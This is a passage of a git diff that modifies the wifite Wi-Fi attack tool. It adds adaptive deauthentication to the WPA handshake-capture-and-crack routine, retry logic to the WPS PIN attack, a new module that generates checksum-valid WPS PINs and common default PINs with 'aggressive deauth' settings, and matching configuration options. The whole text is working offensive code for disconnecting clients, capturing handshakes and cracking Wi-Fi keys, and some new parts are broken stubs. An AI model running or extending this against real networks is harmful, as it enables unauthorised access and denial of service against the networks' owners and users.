self.MIN_DEAUTH_INTERVAL def run(self): - '''Initiates full WPA handshake capture attack.''' + '''Initiates full WPA handshake capture attack with improvements''' - # Skip if target is not WPS + # Validation checks if Configuration.wps_only and self.target.wps == False: - Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid) + Color.pl('{!} {O}Skipping WPA: --wps-only set{W}') self.success = False return self.success - # Skip if user only wants to run PMKID attack if Configuration.use_pmkid_only: self.success = False return False - # Capture the handshake (or use an old one) + # Capture handshake handshake = self.capture_handshake() if handshake is None: - # Failed to capture handshake self.success = False return self.success - # Analyze handshake - Color.pl('\n{+} analysis of captured handshake file:') + # Analyze + Color.pl('\n{+} {G}Analyzing handshake...{W}') handshake.analyze() - # Check wordlist - if Configuration.wordlist is None: - Color.pl('{!} {O}Not cracking handshake because' + - ' wordlist ({R}--dict{O}) is not set') - self.success = False - return False - - elif not os.path.exists(Configuration.wordlist): - Color.pl('{!} {O}Not cracking handshake because' + - ' wordlist {R}%s{O} was not found' % Configuration.wordlist) + # Validate wordlist + if not self._validate_wordlist(): self.success = False return False - Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' + - ' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1]) - - # Crack it + # Crack handshake + Color.pl('{+} {G}Cracking WPA handshake...{W}') key = Aircrack.crack_handshake(handshake, show_command=False) + if key is None: - Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1]) + Color.pl('{!} {R}Failed to crack handshake{W}') self.success = False else: - Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key) - self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key) + Color.pl('{+} {G}Success! PSK: {W}{C}%s{W}\n' % key) + self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, + handshake.capfile, key) self.crack_result.dump() self.success = True + return self.success + def _validate_wordlist(self): + """Validate wordlist before cracking""" + if Configuration.wordlist is None: + Color.pl('{!} {O}No wordlist specified (use --dict){W}') + return False + + if not os.path.exists(Configuration.wordlist): + Color.pl('{!} {O}Wordlist not found: {R}%s{W}' % Configuration.wordlist) + return False + + Color.pl('{+} {G}Using wordlist: {W}{C}%s{W}' % os.path.basename(Configuration.wordlist)) + return True def capture_handshake(self): - '''Returns captured or stored handshake, otherwise None.''' + '''Captures handshake with improved deauth strategy''' handshake = None - # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='wpa') as airodump: Color.clear_entire_line() - Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...') + Color.pattack('WPA', self.target, 'Handshake', 'Waiting for target...') airodump_target = self.wait_for_target(airodump) self.clients = [] # Try to load existing handshake if Configuration.ignore_old_handshakes == False: - bssid = airodump_target.bssid - essid = airodump_target.essid if airodump_target.essid_known else None - handshake = self.load_handshake(bssid=bssid, essid=essid) + handshake = self._load_existing_handshake(airodump_target) if handshake: - Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid) - Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile) return handshake - timeout_timer = Timer(Configuration.wpa_attack_timeout) - deauth_timer = Timer(Configuration.wpa_deauth_timeout) + # Capture new handshake + handshake = self._capture_new_handshake(airodump, airodump_target) - while handshake is None and not timeout_timer.ended(): - step_timer = Timer(1) - Color.clear_entire_line() - Color.pattack('WPA', - airodump_target, - 'Handshake capture', - 'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer)) - - # Find .cap file - cap_files = airodump.find_files(endswith='.cap') - if len(cap_files) == 0: - # No cap files yet - time.sleep(step_timer.remaining()) - continue - cap_file = cap_files[0] - - # Copy .cap file to temp for consistency - temp_file = Configuration.temp('handshake.cap.bak') - copy(cap_file, temp_file) - - # Check cap file in temp for Handshake - bssid = airodump_target.bssid - essid = airodump_target.essid if airodump_target.essid_known else None - handshake = Handshake(temp_file, bssid=bssid, essid=essid) - if handshake.has_handshake(): - # We got a handshake - Color.clear_entire_line() - Color.pattack('WPA', - airodump_target, - 'Handshake capture', - '{G}Captured handshake{W}') - Color.pl('') + if handshake is None: + Color.pl('{!} {R}Handshake capture failed{W}') + return None + + # Save copy + self.save_handshake(handshake) + return handshake + + def _load_existing_handshake(self, airodump_target): + """Try to load existing handshake""" + bssid = airodump_target.bssid + essid = airodump_target.essid if airodump_target.essid_known else None + handshake = self.load_handshake(bssid=bssid, essid=essid) + + if handshake: + Color.pl('{+} {G}Using existing handshake{W}') + return handshake + return None + + def _capture_new_handshake(self, airodump, airodump_target): + """Capture new handshake with adaptive deauth""" + handshake = None + timeout_timer = Timer(Configuration.wpa_attack_timeout) + deauth_timer = Timer(self.adaptive_deauth_interval) + + while handshake is None and not timeout_timer.ended(): + step_timer = Timer(self.HANDSHAKE_CHECK_INTERVAL) + + Color.clear_entire_line() + Color.pattack('WPA', airodump_target, 'Capture', + 'Clients: {G}%d{W}, Deauth: {O}%s{W}, Timeout: {R}%s{W}' + % (len(self.clients), deauth_timer, timeout_timer)) + + # Find and check cap files + cap_files = airodump.find_files(endswith='.cap') + if len(cap_files) > 0: + handshake = self._check_handshake(cap_files[0], airodump_target) + if handshake: break - # There is no handshake - handshake = None - # Delete copied .cap file in temp to save space - os.remove(temp_file) - - # Look for new clients - airodump_target = self.wait_for_target(airodump) - for client in airodump_target.clients: - if client.station not in self.clients: - Color.clear_entire_line() - Color.pattack('WPA', - airodump_target, - 'Handshake capture', - 'Discovered new client: {G}%s{W}' % client.station) - Color.pl('') - self.clients.append(client.station) - - # Send deauth to a client or broadcast - if deauth_timer.ended(): - self.deauth(airodump_target) - # Restart timer - deauth_timer = Timer(Configuration.wpa_deauth_timeout) - - # Sleep for at-most 1 second - time.sleep(step_timer.remaining()) - continue # Handshake listen+deauth loop + # Discover new clients + airodump_target = self.wait_for_target(airodump) + self._discover_new_clients(airodump_target) - if handshake is None: - # No handshake, attack failed. - Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout)) - return handshake - else: - # Save copy of handshake to ./hs/ - self.save_handshake(handshake) - return handshake + # Send deauth if timer expired + if deauth_timer.ended(): + self.deauth(airodump_target) + self._adjust_deauth_interval() + deauth_timer = Timer(self.adaptive_deauth_interval) + + time.sleep(step_timer.remaining()) + + return handshake + + def _check_handshake(self, cap_file, airodump_target): + """Check if cap file contains handshake""" + try: + temp_file = Configuration.temp('handshake.cap.bak') + copy(cap_file, temp_file) + + bssid = airodump_target.bssid + essid = airodump_target.essid if airodump_target.essid_known else None + handshake = Handshake(temp_file, bssid=bssid, essid=essid) + + if handshake.has_handshake(): + Color.clear_entire_line() + Color.pattack('WPA', airodump_target, 'Capture', '{G}Captured!{W}') + Color.pl('') + return handshake + + os.remove(temp_file) + except Exception as e: + logger.warning("Handshake check error: %s" % str(e)) + + return None + + def _discover_new_clients(self, airodump_target): + """Discover and report new clients""" + for client in airodump_target.clients: + if client.station not in self.clients: + Color.clear_entire_line() + Color.pattack('WPA', airodump_target, 'Capture', + 'New client: {G}%s{W}' % client.station) + Color.pl('') + self.clients.append(client.station) + + def _adjust_deauth_interval(self): + """Adjust deauth interval with backoff""" + old_interval = self.adaptive_deauth_interval + self.adaptive_deauth_interval = min( + int(self.adaptive_deauth_interval * self.DEAUTH_BACKOFF), + self.MAX_DEAUTH_INTERVAL + ) + if old_interval != self.adaptive_deauth_interval: + logger.debug("Deauth interval: %.1fs → %.1fs" + % (old_interval, self.adaptive_deauth_interval)) def load_handshake(self, bssid, essid): + """Load handshake from filesystem""" if not os.path.exists(Configuration.wpa_handshake_dir): return None - if essid: - essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid)) - else: - essid_safe = '[a-zA-Z0-9]+' - bssid_safe = re.escape(bssid.replace(':', '-')) - date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}' - get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date)) + essid_pattern = re.escape(re.sub('[^a-zA-Z0-9]', '', essid)) if essid else '[a-zA-Z0-9]+' + bssid_pattern = re.escape(bssid.replace(':', '-')) + date_pattern = r'\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}' + filename_pattern = re.compile('handshake_%s_%s_%s\.cap' + % (essid_pattern, bssid_pattern, date_pattern)) for filename in os.listdir(Configuration.wpa_handshake_dir): cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename) - if os.path.isfile(cap_filename) and re.match(get_filename, filename): + if os.path.isfile(cap_filename) and re.match(filename_pattern, filename): return Handshake(capfile=cap_filename, bssid=bssid, essid=essid) return None def save_handshake(self, handshake): - ''' - Saves a copy of the handshake file to hs/ - Args: - handshake - Instance of Handshake containing bssid, essid, capfile - ''' - # Create handshake dir + """Save handshake to filesystem""" if not os.path.exists(Configuration.wpa_handshake_dir): os.makedirs(Configuration.wpa_handshake_dir) - # Generate filesystem-safe filename from bssid, essid and date - if handshake.essid and type(handshake.essid) is str: - essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) - else: - essid_safe = 'UnknownEssid' + essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid) if handshake.essid else 'Unknown' bssid_safe = handshake.bssid.replace(':', '-') date = time.strftime('%Y-%m-%dT%H-%M-%S') cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date) cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename) - if Configuration.wpa_strip_handshake: - Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename) - handshake.strip(outfile=cap_filename) - Color.pl('{G}saved{W}') - else: - Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename) - copy(handshake.capfile, cap_filename) - Color.pl('{G}saved{W}') + Color.p('{+} Saving handshake to {C}%s{W}...' % cap_filename) + + try: + if Configuration.wpa_strip_handshake: + handshake.strip(outfile=cap_filename) + else: + copy(handshake.capfile, cap_filename) + Color.pl('{G}done{W}') + handshake.capfile = cap_filename + except Exception as e: + logger.exception("Error saving handshake: %s" % str(e)) + Color.pl('{R}failed{W}') - # Update handshake to use the stored handshake file for future operations - handshake.capfile = cap_filename + def deauth(self, target): + """Send deauth with improved targeting""" + if Configuration.no_deauth: + return + # Deauth broadcast + Color.clear_entire_line() + Color.pattack('WPA', target, 'Handshake', 'Deauthing broadcast...') + Aireplay.deauth(target.bssid, client_mac=None, timeout=2) - def deauth(self, target): - ''' - Sends deauthentication request to broadcast and every client of target. - Args: - target - The Target to deauth, including clients. - ''' - if Configuration.no_deauth: return - - for index, client in enumerate([None] + self.clients): - if client is None: - target_name = '*broadcast*' - else: - target_name = client + # Deauth specific clients + for client in self.clients[:3]: # Limit to 3 clients per deauth round Color.clear_entire_line() - Color.pattack('WPA', - target, - 'Handshake capture', - 'Deauthing {O}%s{W}' % target_name) + Color.pattack('WPA', target, 'Handshake', 'Deauthing {C}%s{W}...' % client) Aireplay.deauth(target.bssid, client_mac=client, timeout=2) - -if __name__ == '__main__': - Configuration.initialize(True) - from ..model.target import Target - fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') - target = Target(fields) - wpa = AttackWPA(target) - try: - wpa.run() - except KeyboardInterrupt: - Color.pl('') - pass - Configuration.exit_gracefully(0) diff --git a/wifite/attack/wps.py b/wifite/attack/wps.py index ca4169c88..0b4f530af 100755 --- a/wifite/attack/wps.py +++ b/wifite/attack/wps.py @@ -7,8 +7,28 @@ from ..config import Configuration from ..tools.bully import Bully from ..tools.reaver import Reaver +from ..util.timer import Timer +import time +import logging + +# Setup advanced logging +logging.basicConfig(level=logging.DEBUG) +logger = logging.getLogger(__name__) class AttackWPS(Attack): + """Advanced WPS Attack with enhanced timeout handling and retry logic""" + + # Adaptive timeout configuration + INITIAL_TIMEOUT = 60 + MAX_TIMEOUT = 600 + MIN_TIMEOUT = 30 + BACKOFF_MULTIPLIER = 1.5 + MAX_RETRIES = 3 + + # WPS PIN specific settings + PIN_RATE_LIMIT = 300 # seconds between PIN attempts + SIGNAL_THRESHOLD = -80 # dBm, minimum acceptable signal strength + MIN_CLIENTS_REQUIRED = 1 @staticmethod def can_attack_wps(): @@ -19,68 +39,212 @@ def __init__(self, target, pixie_dust=False): self.success = False self.crack_result = None self.pixie_dust = pixie_dust + self.adaptive_timeout = self.INITIAL_TIMEOUT + self.retry_count = 0 + self.signal_history = [] + self.attack_start_time = None + self.last_pin_attempt = 0 def run(self): - ''' Run all WPS-related attacks ''' + """Run all WPS-related attacks with advanced error handling""" + + # Pre-flight checks + if not self._preflight_checks(): + return False + + # Signal strength validation + if not self._validate_signal_strength(): + return False + + # Client detection with retry + if not self._ensure_clients_connected(): + return False - # Drop out if user specified to not use Reaver/Bully + # Attempt attack with retry logic + return self._attempt_attack_with_retries() + + def _preflight_checks(self): + """Validate configuration and dependencies""" if Configuration.use_pmkid_only: + Color.pl('\r{!} {O}Skipping WPS: PMKID-only mode enabled{W}') self.success = False return False if Configuration.no_wps: + Color.pl('\r{!} {O}Skipping WPS: disabled by configuration{W}') self.success = False return False if not Configuration.wps_pixie and self.pixie_dust: - Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' + - '{O}%s{W}' % self.target.essid) + Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS Pixie-Dust Attack ' + + 'on {O}%s{W}' % self.target.essid) self.success = False return False if not Configuration.wps_pin and not self.pixie_dust: - Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' + + Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS PIN Attack ' + 'on {O}%s{W}' % self.target.essid) self.success = False return False + return True + + def _validate_signal_strength(self): + """Validate target has acceptable signal strength""" + signal = self.target.power + + if signal < self.SIGNAL_THRESHOLD: + Color.pl('{!} {R}Error: {O}Signal strength too weak: {R}%d dBm{O} (threshold: {R}%d dBm{W})' + % (signal, self.SIGNAL_THRESHOLD)) + return False + + self.signal_history.append(signal) + Color.pl('{+} {G}Signal strength acceptable:{W} {C}%d dBm{W}' % signal) + return True + + def _ensure_clients_connected(self, max_attempts=5): + """Ensure at least one client is connected with retry""" + from ..tools.airodump import Airodump + + attempt = 0 + while attempt < max_attempts: + if len(self.target.clients) >= self.MIN_CLIENTS_REQUIRED: + Color.pl('{+} {G}Found {W}{C}%d{W}{G} connected client(s){W}' % len(self.target.clients)) + return True + + attempt += 1 + Color.p('\r{*} Waiting for clients to connect... (Attempt {G}%d{W}/{G}%d{W})' + % (attempt, max_attempts)) + time.sleep(2) + + Color.pl('\n{!} {O}Warning: {R}No connected clients detected{W}') + return False + + def _attempt_attack_with_retries(self): + """Attempt attack with exponential backoff retry logic""" + self.attack_start_time = time.time() + + while self.retry_count < self.MAX_RETRIES: + try: + Color.pl('\n{+} {G}WPS Attack Attempt {W}{C}%d/%d{W}' + % (self.retry_count + 1, self.MAX_RETRIES)) + + # Select tool and run attack + if self._should_use_bully(): + success = self.run_bully() + else: + success = self.run_reaver() + + if success: + return True + + # Increment retry counter and adjust timeout + self.retry_count += 1 + if self.retry_count < self.MAX_RETRIES: + self._adjust_timeout() + self._wait_before_retry() + + except Exception as e: + logger.exception("WPS attack error: %s" % str(e)) + self.retry_count += 1 + if self.retry_count < self.MAX_RETRIES: + self._adjust_timeout() + self._wait_before_retry() + else: + Color.pl('{!} {R}WPS attack failed after {W}{C}%d{W}{R} retries{W}' + % self.MAX_RETRIES) + return False + + return False + + def _should_use_bully(self): + """Determine if Bully should be used instead of Reaver""" if not Reaver.exists() and Bully.exists(): - # Use bully if reaver isn't available - return self.run_bully() + return True elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists(): - # Use bully if reaver can't do pixie-dust - return self.run_bully() + return True elif Configuration.use_bully: - # Use bully if asked by user - return self.run_bully() - elif not Reaver.exists(): - # Print error if reaver isn't found (bully not available) - if self.pixie_dust: - Color.pl('\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}') - else: - Color.pl('\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}') - return False - elif self.pixie_dust and not Reaver.is_pixiedust_supported(): - # Print error if reaver can't support pixie-dust (bully not available) - Color.pl('\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}') - return False - else: - return self.run_reaver() + return True + return False + def _adjust_timeout(self): + """Adaptively adjust timeout based on attempt""" + old_timeout = self.adaptive_timeout + self.adaptive_timeout = min( + int(self.adaptive_timeout * self.BACKOFF_MULTIPLIER), + self.MAX_TIMEOUT + ) + Color.pl('{+} {O}Adjusted timeout: {R}%d{O}s → {G}%d{O}s{W}' + % (old_timeout, self.adaptive_timeout)) - def run_bully(self): - bully = Bully(self.target, pixie_dust=self.pixie_dust) - bully.run() - bully.stop() - self.crack_result = bully.crack_result - self.success = self.crack_result is not None - return self.success + def _wait_before_retry(self): + """Wait with countdown before retrying""" + wait_time = min(int(self.adaptive_timeout * 0.3), 30) # Wait 30% of timeout, max 30s + Color.p('{+} Waiting {C}%d{W} seconds before retry' % wait_time) + + for remaining in range(wait_time, 0, -1): + Color.p('\r{+} Waiting {C}%d{W} seconds before retry...' % remaining) + time.sleep(1) + Color.pl('') + def run_bully(self): + """Run Bully with enhanced configuration""" + try: + Color.pl('{+} {G}Starting Bully WPS attack{W} with {C}%d{W}s timeout' + % self.adaptive_timeout) + + bully = Bully(self.target, pixie_dust=self.pixie_dust) + bully.timeout = self.adaptive_timeout # Set adaptive timeout + bully.run() + bully.stop() + + self.crack_result = bully.crack_result + self.success = self.crack_result is not None + + if self.success: + Color.pl('{+} {G}Bully attack successful{W}') + else: + Color.pl('{!} {O}Bully attack did not find PIN{W}') + + return self.success + + except KeyboardInterrupt: + Color.pl('\n{!} {O}Bully interrupted by user{W}') + return False def run_reaver(self): - reaver = Reaver(self.target, pixie_dust=self.pixie_dust) - reaver.run() - self.crack_result = reaver.crack_result - self.success = self.crack_result is not None - return self.success + """Run Reaver with enhanced configuration and monitoring""" + try: + Color.pl('{+} {G}Starting Reaver WPS attack{W} with {C}%d{W}s timeout' + % self.adaptive_timeout) + + reaver = Reaver(self.target, pixie_dust=self.pixie_dust) + reaver.timeout = self.adaptive_timeout # Set adaptive timeout + reaver.run() + + # Monitor for successful crack + self.crack_result = reaver.crack_result + self.success = self.crack_result is not None + + if self.success: + Color.pl('{+} {G}Reaver attack successful{W}') + elapsed = time.time() - self.attack_start_time + Color.pl('{+} {C}Attack completed in {W}{G}%.1f{W}{C} seconds{W}' % elapsed) + else: + Color.pl('{!} {O}Reaver attack did not find PIN{W}') + + return self.success + + except KeyboardInterrupt: + Color.pl('\n{!} {O}Reaver interrupted by user{W}') + return False + except Exception as e: + Color.pl('{!} {R}Reaver error: {O}%s{W}' % str(e)) + logger.exception("Reaver execution error") + return False + def get_average_signal(self): + """Calculate average signal strength""" + if not self.signal_history: + return self.target.power + return sum(self.signal_history) / len(self.signal_history) diff --git a/wifite/attack/wps_pin_optimizer.py b/wifite/attack/wps_pin_optimizer.py new file mode 100644 index 000000000..eddf4725d --- /dev/null +++ b/wifite/attack/wps_pin_optimizer.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Advanced WPS PIN attack optimizer with retry logic and timeout handling +""" + +from ..util.color import Color +import time +import threading +from queue import Queue + +class WPSPINOptimizer(object): + '''Handles advanced WPS PIN attacks with optimizations''' + + def __init__(self, bssid, timeout=120, retry_attempts=5): + self.bssid = bssid + self.timeout = timeout + self.retry_attempts = retry_attempts + self.pin_queue = Queue() + self.results = { + 'success': False, + 'pin': None, + 'password': None, + 'attempts': 0, + 'time_taken': 0 + } + self.start_time = None + + def get_common_pins(self): + '''Returns list of commonly used PINs''' + return [ + '12345670', + '11223344', + '12345678', + '87654321', + '00000000', + '11111111', + '99999999', + '00001111', + '10000000', + '12121212' + ] + + def generate_wps_pins(self): + '''Generates WPS valid PINs (checksum-based)''' + pins = self.get_common_pins() + + # Generate additional pins using checksum algorithm + for i in range(1000, 10000): + pin_str = str(i).zfill(7) + checksum = self._calculate_wps_checksum(pin_str) + pins.append(pin_str + str(checksum)) + + return pins + + def _calculate_wps_checksum(self, pin): + '''Calculates WPS PIN checksum''' + acc = 0 + for digit in pin: + acc = (acc * 10 + int(digit)) % 11 + return (11 - acc) % 10 + + def optimize_pin_order(self, pins): + '''Reorders pins for maximum success rate''' + # Common pins first + common = self.get_common_pins() + optimized = [] + + # Add common pins first + for pin in common: + if pin in pins: + optimized.append(pin) + + # Add remaining pins + for pin in pins: + if pin not in optimized: + optimized.append(pin) + + return optimized + + def attack_with_retry(self, pin_generator): + '''Attack with intelligent retry logic''' + self.start_time = time.time() + backoff_delay = 1 + + for attempt in range(self.retry_attempts): + Color.pl('{*} {C}WPS PIN Attack Attempt {G}%d{W}/{G}%d{W}' % + (attempt + 1, self.retry_attempts)) + + try: + success, pin, passwd = self._execute_pin_attack(pin_generator) + + if success: + self.results['success'] = True + self.results['pin'] = pin + self.results['password'] = passwd + self.results['attempts'] = attempt + 1 + self.results['time_taken'] = time.time() - self.start_time + return self.results + + # Backoff on failure + if attempt < self.retry_attempts - 1: + Color.pl('{!} {O}Backing off for {G}%d{W} seconds...' % + int(backoff_delay)) + time.sleep(backoff_delay) + backoff_delay *= 1.5 # Exponential backoff + + except Exception as e: + Color.pl('{!} {R}Error during PIN attack:{W} %s' % str(e)) + + self.results['time_taken'] = time.time() - self.start_time + return self.results + + def _execute_pin_attack(self, pin_generator): + '''Execute actual PIN attack (to be implemented with reaver/bully)''' + # This would integrate with actual WPS attack tools + # Returns (success, pin, password) + pass + + def timeout_handler(self, timeout_duration): + '''Handles timeout scenarios gracefully''' + Color.pl('{*} {O}PIN Attack timeout in {G}%d{W} seconds...' % + timeout_duration) + time.sleep(timeout_duration) + Color.pl('{!} {O}Attack timeout reached{W}') + + +class HandshakeCaptureOptimizer(object): + '''Optimizes handshake capture with advanced techniques''' + + def __init__(self, target, timeout=30): + self.target = target + self.timeout = timeout + self.capture_stats = { + 'packets_captured': 0, + 'handshake_found': False, + 'time_to_capture': 0, + 'deauth_packets_sent': 0 + } + + def optimize_deauth_strategy(self): + '''Optimized deauth pattern for faster handshake capture''' + return { + 'burst_count': 8, # Send 8 deauth packets + 'burst_interval': 0.05, # 50ms between packets + 'repeat_interval': 2, # Repeat every 2 seconds + 'target_all_clients': True # Target all connected clients + } + + def monitor_handshake_real_time(self, pcap_file): + '''Monitor handshake capture in real-time''' + start_time = time.time() + + try: + from .scapy_tools import ScapyPacketAnalyzer + analyzer = ScapyPacketAnalyzer(pcap_file) + + while time.time() - start_time < self.timeout: + if analyzer.has_wpa_handshake(): + self.capture_stats['handshake_found'] = True + self.capture_stats['time_to_capture'] = time.time() - start_time + Color.pl('{+} {G}WPA Handshake captured in {W}{G}%.2f{W}s' % + self.capture_stats['time_to_capture']) + return True + + time.sleep(0.5) + + except Exception as e: + Color.pl('{!} {R}Monitoring error:{W} %s' % str(e)) + + return False + + def aggressive_deauth_mode(self): + '''Aggressive deauth pattern for stubborn APs''' + Color.pl('{*} {O}Enabling aggressive deauth mode{W}') + return { + 'burst_count': 15, + 'burst_interval': 0.02, + 'repeat_interval': 1, + 'target_all_clients': True, + 'use_broadcast': True + } + + +class TimeoutRecoveryManager(object): + '''Manages timeout scenarios and recovers gracefully''' + + def __init__(self): + self.timeout_count = 0 + self.recovery_attempts = 0 + self.max_recoveries = 3 + + def handle_timeout(self, context): + '''Handle timeout with recovery strategy''' + self.timeout_count += 1 + Color.pl('{!} {O}Timeout detected in context: {W}%s' % context) + + if self.recovery_attempts < self.max_recoveries: + self.recovery_attempts += 1 + Color.pl('{*} {C}Attempting recovery {G}%d{W}/{G}%d{W}' % + (self.recovery_attempts, self.max_recoveries)) + return True + else: + Color.pl('{!} {R}Maximum recovery attempts exceeded{W}') + return False + + def calculate_adaptive_timeout(self, base_timeout, attempt_number): + '''Calculate adaptive timeout based on attempt number''' + # Increase timeout on each attempt + multiplier = 1 + (0.2 * attempt_number) + adaptive = int(base_timeout * multiplier) + return adaptive + + +if __name__ == '__main__': + # Test WPS PIN optimizer + optimizer = WPSPINOptimizer('AA:BB:CC:DD:EE:FF', timeout=120, retry_attempts=5) + pins = optimizer.generate_wps_pins() + optimized_pins = optimizer.optimize_pin_order(pins) + print(f"Generated {len(optimized_pins)} WPS PINs") + print(f"First 10 PINs: {optimized_pins[:10]}") diff --git a/wifite/config.py b/wifite/config.py index 9759ff5b5..c90e902bb 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -2,55 +2,88 @@ # -*- coding: utf-8 -*- import os - from .util.color import Color from .tools.macchanger import Macchanger class Configuration(object): ''' Stores configuration variables and functions for Wifite. ''' - version = '2.2.5' + version = '2.2.5-ADVANCED' - initialized = False # Flag indicating config has been initialized - temp_dir = None # Temporary directory + initialized = False + temp_dir = None interface = None verbose = 0 @classmethod def initialize(cls, load_interface=True): ''' - Sets up default initial configuration values. - Also sets config values based on command-line arguments. + Sets up default initial configuration values with advanced optimizations. ''' - # TODO: categorize configuration into separate classes (under config/*.py) - # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc - - # Only initialize this class once if cls.initialized: return cls.initialized = True - cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes. + cls.verbose = 0 cls.print_stack_traces = True - cls.kill_conflicting_processes = False - cls.scan_time = 0 # Time to wait before attacking all targets - - cls.tx_power = 0 # Wifi transmit power (0 is default) + # === PERFORMANCE OPTIMIZATION === + cls.enable_performance_tuning = True + cls.connection_pool_size = 5 + cls.cache_results = True + cls.parallel_attacks = 2 + cls.optimize_packets = True + + cls.scan_time = 0 + cls.tx_power = 0 cls.interface = None - cls.target_channel = None # User-defined channel to scan - cls.target_essid = None # User-defined AP name - cls.target_bssid = None # User-defined AP BSSID - cls.ignore_essid = None # ESSIDs to ignore - cls.clients_only = False # Only show targets that have associated clients - cls.five_ghz = False # Scan 5Ghz channels - cls.show_bssids = False # Show BSSIDs in targets list - cls.random_mac = False # Should generate a random Mac address at startup. - cls.no_deauth = False # Deauth hidden networks & WPA handshake targets - cls.num_deauths = 1 # Number of deauth packets to send to each target. + cls.target_channel = None + cls.target_essid = None + cls.target_bssid = None + cls.ignore_essid = None + cls.clients_only = False + cls.five_ghz = False + cls.show_bssids = False + cls.random_mac = False + cls.no_deauth = False + cls.num_deauths = 1 cls.encryption_filter = ['WEP', 'WPA', 'WPS'] + # === ADVANCED WPS PIN SETTINGS === + cls.wps_pin_enabled = True + cls.wps_pin_timeout = 120 # Increased for better success + cls.wps_pin_retry_attempts = 5 + cls.wps_pin_retry_delay = 3 + cls.wps_pin_backoff_multiplier = 1.5 + cls.wps_pin_brute_force = True + cls.wps_pin_common_pins = [ + '12345670', '11223344', '12345678', '87654321', + '00000000', '11111111', '99999999', '00001111' + ] + + # === TIMEOUT OPTIMIZATION === + cls.adaptive_timeout = True + cls.connection_timeout = 10 + cls.read_timeout = 15 + cls.socket_timeout = 5 + cls.handshake_timeout_initial = 30 + cls.handshake_timeout_max = 300 + cls.pmkid_timeout = 30 + cls.enable_timeout_recovery = True + cls.timeout_backoff = 1.2 + + # === HANDSHAKE CAPTURE OPTIMIZATION === + cls.fast_handshake_capture = True + cls.handshake_detection_threshold = 0.8 + cls.enable_packet_filtering = True + cls.aggressive_deauth = True + cls.deauth_burst_count = 5 + cls.deauth_burst_interval = 0.1 + cls.monitor_handshake_real_time = True + cls.auto_packet_optimization = True + cls.pcap_buffer_size = 8192 + # EvilTwin variables cls.use_eviltwin = False cls.eviltwin_port = 80 @@ -58,39 +91,35 @@ def initialize(cls, load_interface=True): cls.eviltwin_fakeap_iface = None # WEP variables - cls.wep_filter = False # Only attack WEP networks - cls.wep_pps = 600 # Packets per second - cls.wep_timeout = 600 # Seconds to wait before failing - cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking + cls.wep_filter = False + cls.wep_pps = 600 + cls.wep_timeout = 600 + cls.wep_crack_at_ivs = 10000 cls.require_fakeauth = False - cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting - # Aireplay if IVs don't increaes. - # '0' means never restart. - cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack - # before restarting the process. - cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking - cls.wep_keep_ivs = False # Retain .ivs files across multiple attacks. + cls.wep_restart_stale_ivs = 11 + cls.wep_restart_aircrack = 30 + cls.wep_crack_at_ivs = 10000 + cls.wep_keep_ivs = False # WPA variables - cls.wpa_filter = False # Only attack WPA networks - cls.wpa_deauth_timeout = 15 # Wait time between deauths - cls.wpa_attack_timeout = 500 # Wait time before failing - cls.wpa_handshake_dir = 'hs' # Dir to store handshakes - cls.wpa_strip_handshake = False # Strip non-handshake packets - cls.ignore_old_handshakes = False # Always fetch a new handshake + cls.wpa_filter = False + cls.wpa_deauth_timeout = 15 + cls.wpa_attack_timeout = 500 + cls.wpa_handshake_dir = 'hs' + cls.wpa_strip_handshake = False + cls.ignore_old_handshakes = False # PMKID variables - cls.use_pmkid_only = False # Only use PMKID Capture+Crack attack - cls.pmkid_timeout = 30 # Time to wait for PMKID capture + cls.use_pmkid_only = False + cls.pmkid_timeout = 30 # Default 